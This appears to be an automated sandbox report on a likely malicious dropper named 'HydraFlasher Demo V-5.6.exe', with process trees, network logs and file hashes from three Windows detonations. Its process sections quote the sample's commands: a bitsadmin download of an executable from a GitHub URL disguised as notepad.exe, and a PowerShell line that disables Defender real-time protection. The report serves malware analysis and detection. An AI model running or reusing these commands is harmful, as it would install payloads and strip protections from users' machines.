Malware Analysis Report

2024-10-16 05:07

Sample ID 240728-xn2ysayfnr
Target HydraFlasher Demo V-5.6.exe
SHA256 536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0
Tags
discovery dropper execution
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

536f89dfb901d73ce17c796a32328282d6b0550c3e462dff09d488e1260584c0

Threat Level: Likely malicious

The file HydraFlasher Demo V-5.6.exe was found to be: Likely malicious.

Malicious Activity Summary

discovery dropper execution

Download via BitsAdmin

.NET Reactor proctector

Executes dropped EXE

Checks computer location settings

Command and Scripting Interpreter: PowerShell

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Unsigned PE

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-07-28 19:00

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-07-28 19:00

Reported

2024-07-28 19:28

Platform

win10-20240404-en

Max time kernel

515s

Max time network

525s

Command Line

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A
N/A N/A C:\Users\Admin\HydraFlasher Demo.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\HydraFlasher Demo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1100 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 1100 wrote to memory of 2116 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 2116 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 2116 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 2116 wrote to memory of 4696 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 2116 wrote to memory of 1308 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 2116 wrote to memory of 1308 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 2116 wrote to memory of 1308 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 4696 wrote to memory of 4372 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4696 wrote to memory of 4372 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4696 wrote to memory of 4372 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1308 wrote to memory of 3092 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1308 wrote to memory of 3092 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1308 wrote to memory of 3092 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\HydraFlasher Demo.exe

"C:\Users\Admin\HydraFlasher Demo.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 23.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 16.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 73.144.22.2.in-addr.arpa udp
US 138.91.171.81:80 tcp
US 8.8.8.8:53 57.110.18.2.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

MD5 154e7c4941e5c99f6fe369ff90dc8370
SHA1 d155c4fcccc60ae26291fd1177780b3591ccbb49
SHA256 ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24
SHA512 c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d

memory/2116-5-0x00007FFF2E023000-0x00007FFF2E024000-memory.dmp

memory/2116-6-0x00000000004F0000-0x0000000000F9A000-memory.dmp

C:\Users\Admin\Downloader.hta

MD5 2dc6046e1cd218ba1ae101c6a96cb1ea
SHA1 26f057f84ca50739d3be3bdb022906b296364744
SHA256 012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8
SHA512 49f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179

C:\Users\Admin\HydraFlasher Demo.exe

MD5 ac70d7032b72fb148ac74a0b902de461
SHA1 c3fe932e0e5f672b1dedd5309087f7e7d165c683
SHA256 a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63
SHA512 f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a

memory/1308-16-0x0000000000330000-0x0000000000DD0000-memory.dmp

memory/1308-17-0x0000000005DA0000-0x000000000629E000-memory.dmp

memory/1308-18-0x00000000056E0000-0x0000000005772000-memory.dmp

memory/1308-19-0x0000000005670000-0x000000000567A000-memory.dmp

memory/3092-23-0x0000000007310000-0x0000000007346000-memory.dmp

memory/3092-24-0x0000000007980000-0x0000000007FA8000-memory.dmp

memory/3092-25-0x0000000008010000-0x0000000008032000-memory.dmp

memory/3092-26-0x00000000082B0000-0x0000000008316000-memory.dmp

memory/3092-27-0x0000000008320000-0x0000000008386000-memory.dmp

memory/3092-28-0x0000000008390000-0x00000000086E0000-memory.dmp

memory/3092-29-0x0000000008760000-0x000000000877C000-memory.dmp

memory/3092-30-0x0000000008AB0000-0x0000000008AFB000-memory.dmp

memory/3092-31-0x00000000089F0000-0x0000000008A66000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_feofbiby.je2.ps1

MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

memory/3092-48-0x0000000009B60000-0x0000000009B93000-memory.dmp

memory/3092-49-0x000000006B470000-0x000000006B4BB000-memory.dmp

memory/3092-50-0x0000000009B20000-0x0000000009B3E000-memory.dmp

memory/3092-55-0x0000000009C90000-0x0000000009D35000-memory.dmp

memory/3092-56-0x0000000009E60000-0x0000000009EF4000-memory.dmp

memory/3092-249-0x0000000009E00000-0x0000000009E1A000-memory.dmp

memory/3092-254-0x0000000009DF0000-0x0000000009DF8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-07-28 19:00

Reported

2024-07-28 19:30

Platform

win10v2004-20240709-en

Max time kernel

424s

Max time network

443s

Command Line

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Windows\SysWOW64\mshta.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A
N/A N/A C:\Users\Admin\HydraFlasher Demo.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\HydraFlasher Demo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2990742725-2267136959-192470804-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 5116 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 5116 wrote to memory of 888 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 888 wrote to memory of 3816 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 888 wrote to memory of 3816 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 888 wrote to memory of 3816 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 888 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 888 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 888 wrote to memory of 1968 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 3816 wrote to memory of 3732 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3816 wrote to memory of 3732 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 3816 wrote to memory of 3732 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 1968 wrote to memory of 5100 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1968 wrote to memory of 5100 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1968 wrote to memory of 5100 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\HydraFlasher Demo.exe

"C:\Users\Admin\HydraFlasher Demo.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 81.144.22.2.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
US 8.8.8.8:53 14.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 192.142.123.92.in-addr.arpa udp
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 215.156.26.20.in-addr.arpa udp
US 8.8.8.8:53 55.36.223.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 10.173.189.20.in-addr.arpa udp

Files

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

MD5 154e7c4941e5c99f6fe369ff90dc8370
SHA1 d155c4fcccc60ae26291fd1177780b3591ccbb49
SHA256 ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24
SHA512 c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d

memory/888-11-0x00007FFC61283000-0x00007FFC61285000-memory.dmp

memory/888-12-0x0000000000F70000-0x0000000001A1A000-memory.dmp

C:\Users\Admin\HydraFlasher Demo.exe

MD5 ac70d7032b72fb148ac74a0b902de461
SHA1 c3fe932e0e5f672b1dedd5309087f7e7d165c683
SHA256 a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63
SHA512 f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a

C:\Users\Admin\Downloader.hta

MD5 2dc6046e1cd218ba1ae101c6a96cb1ea
SHA1 26f057f84ca50739d3be3bdb022906b296364744
SHA256 012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8
SHA512 49f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179

memory/1968-46-0x0000000000C70000-0x0000000001710000-memory.dmp

memory/1968-47-0x00000000068F0000-0x0000000006E94000-memory.dmp

memory/1968-48-0x0000000006130000-0x00000000061C2000-memory.dmp

memory/1968-49-0x00000000061D0000-0x00000000061DA000-memory.dmp

memory/5100-53-0x0000000002EC0000-0x0000000002EF6000-memory.dmp

memory/5100-54-0x0000000005A20000-0x0000000006048000-memory.dmp

memory/5100-55-0x00000000058F0000-0x0000000005912000-memory.dmp

memory/5100-56-0x00000000060C0000-0x0000000006126000-memory.dmp

memory/5100-59-0x0000000006130000-0x0000000006196000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kh2c5ae1.bap.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/5100-67-0x00000000061A0000-0x00000000064F4000-memory.dmp

memory/5100-68-0x0000000006800000-0x000000000681E000-memory.dmp

memory/5100-69-0x0000000006850000-0x000000000689C000-memory.dmp

memory/5100-70-0x0000000006D40000-0x0000000006D72000-memory.dmp

memory/5100-71-0x000000006C8F0000-0x000000006C93C000-memory.dmp

memory/5100-81-0x0000000006D80000-0x0000000006D9E000-memory.dmp

memory/5100-82-0x00000000077F0000-0x0000000007893000-memory.dmp

memory/5100-83-0x0000000008120000-0x000000000879A000-memory.dmp

memory/5100-84-0x0000000005540000-0x000000000555A000-memory.dmp

memory/5100-85-0x0000000007B50000-0x0000000007B5A000-memory.dmp

memory/5100-86-0x0000000007D80000-0x0000000007E16000-memory.dmp

memory/5100-87-0x0000000007B00000-0x0000000007B11000-memory.dmp

memory/5100-88-0x0000000007D60000-0x0000000007D6E000-memory.dmp

memory/5100-89-0x0000000007E60000-0x0000000007E74000-memory.dmp

memory/5100-90-0x0000000007EB0000-0x0000000007ECA000-memory.dmp

memory/5100-91-0x0000000007E90000-0x0000000007E98000-memory.dmp

Analysis: behavioral3

Detonation Overview

Submitted

2024-07-28 19:00

Reported

2024-07-28 19:30

Platform

win11-20240709-en

Max time kernel

601s

Max time network

461s

Command Line

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\bitsadmin.exe N/A

.NET Reactor proctector

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A
N/A N/A C:\Users\Admin\HydraFlasher Demo.exe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\HydraFlasher Demo.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\bitsadmin.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3866437728-1832012455-4133739663-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3668 wrote to memory of 5056 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 3668 wrote to memory of 5056 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe
PID 5056 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 5056 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 5056 wrote to memory of 4604 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Windows\SysWOW64\mshta.exe
PID 5056 wrote to memory of 5096 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 5056 wrote to memory of 5096 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 5056 wrote to memory of 5096 N/A C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe C:\Users\Admin\HydraFlasher Demo.exe
PID 4604 wrote to memory of 1620 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4604 wrote to memory of 1620 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 4604 wrote to memory of 1620 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\bitsadmin.exe
PID 5096 wrote to memory of 1604 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 1604 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 5096 wrote to memory of 1604 N/A C:\Users\Admin\HydraFlasher Demo.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V-5.6.exe"

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

"C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\Downloader.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}

C:\Users\Admin\HydraFlasher Demo.exe

"C:\Users\Admin\HydraFlasher Demo.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/sleeper-cell/security/releases/download/dllhost/xvchosts.exe C:\Users\Admin\AppData\Roaming\notepad.exe

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"powershell.exe" -ExecutionPolicy Bypass -Command Set-MpPreference -DisableRealtimeMonitoring $true

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp

Files

C:\Users\Admin\AppData\Local\Temp\HydraFlasher Demo V.exe

MD5 154e7c4941e5c99f6fe369ff90dc8370
SHA1 d155c4fcccc60ae26291fd1177780b3591ccbb49
SHA256 ff295bc05708762ae2fc54195c8785708291219e6d07ec52077980049e1f3d24
SHA512 c37427cae52c78d95829b690113a5dab7c4a859a7d2c8781bd1580c9af24b6a7eb53d0d3bdaf87aa505035f2620e36e5688ea5da90eb7c16203a7bea634c544d

memory/5056-11-0x00007FFCCD153000-0x00007FFCCD155000-memory.dmp

memory/5056-12-0x00000000009B0000-0x000000000145A000-memory.dmp

C:\Users\Admin\HydraFlasher Demo.exe

MD5 ac70d7032b72fb148ac74a0b902de461
SHA1 c3fe932e0e5f672b1dedd5309087f7e7d165c683
SHA256 a672ed87b2f51e8f549194b1e2bdfcd8b3d3326bc60f2eb8e76ab7f4422a5c63
SHA512 f840046e0192605aacd9e428bb46fffd53bc39c7f0ce04ccb5ba81df35cee36a6fffc7cbd6ad51e89eea3cbbc3687951a3baf8de662c4068cc026dba62a44b8a

C:\Users\Admin\Downloader.hta

MD5 2dc6046e1cd218ba1ae101c6a96cb1ea
SHA1 26f057f84ca50739d3be3bdb022906b296364744
SHA256 012954762478b91e47a668255ce82791a4078761b18aaa74fc4e4c7168214cc8
SHA512 49f202b82a9561022b5b1299bbb2fcbda7ac89de6b8cfe7d5ba68ba08002b0cdefa93642128c08b217741644245fa2f550581bb4107676a592d615cdcdaa9179

memory/5096-46-0x0000000000FE0000-0x0000000001A80000-memory.dmp

memory/5096-47-0x0000000006D60000-0x0000000007306000-memory.dmp

memory/5096-48-0x0000000006620000-0x00000000066B2000-memory.dmp

memory/5096-49-0x0000000006580000-0x000000000658A000-memory.dmp

memory/1604-51-0x0000000004A60000-0x0000000004A96000-memory.dmp

memory/1604-52-0x0000000005120000-0x000000000574A000-memory.dmp

memory/1604-53-0x0000000005050000-0x0000000005072000-memory.dmp

memory/1604-54-0x0000000005840000-0x00000000058A6000-memory.dmp

memory/1604-55-0x00000000059B0000-0x0000000005A16000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tye1fqga.br4.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1604-64-0x0000000005A20000-0x0000000005D77000-memory.dmp

memory/1604-65-0x0000000005EF0000-0x0000000005F0E000-memory.dmp

memory/1604-66-0x0000000005F40000-0x0000000005F8C000-memory.dmp

memory/1604-67-0x00000000064E0000-0x0000000006514000-memory.dmp

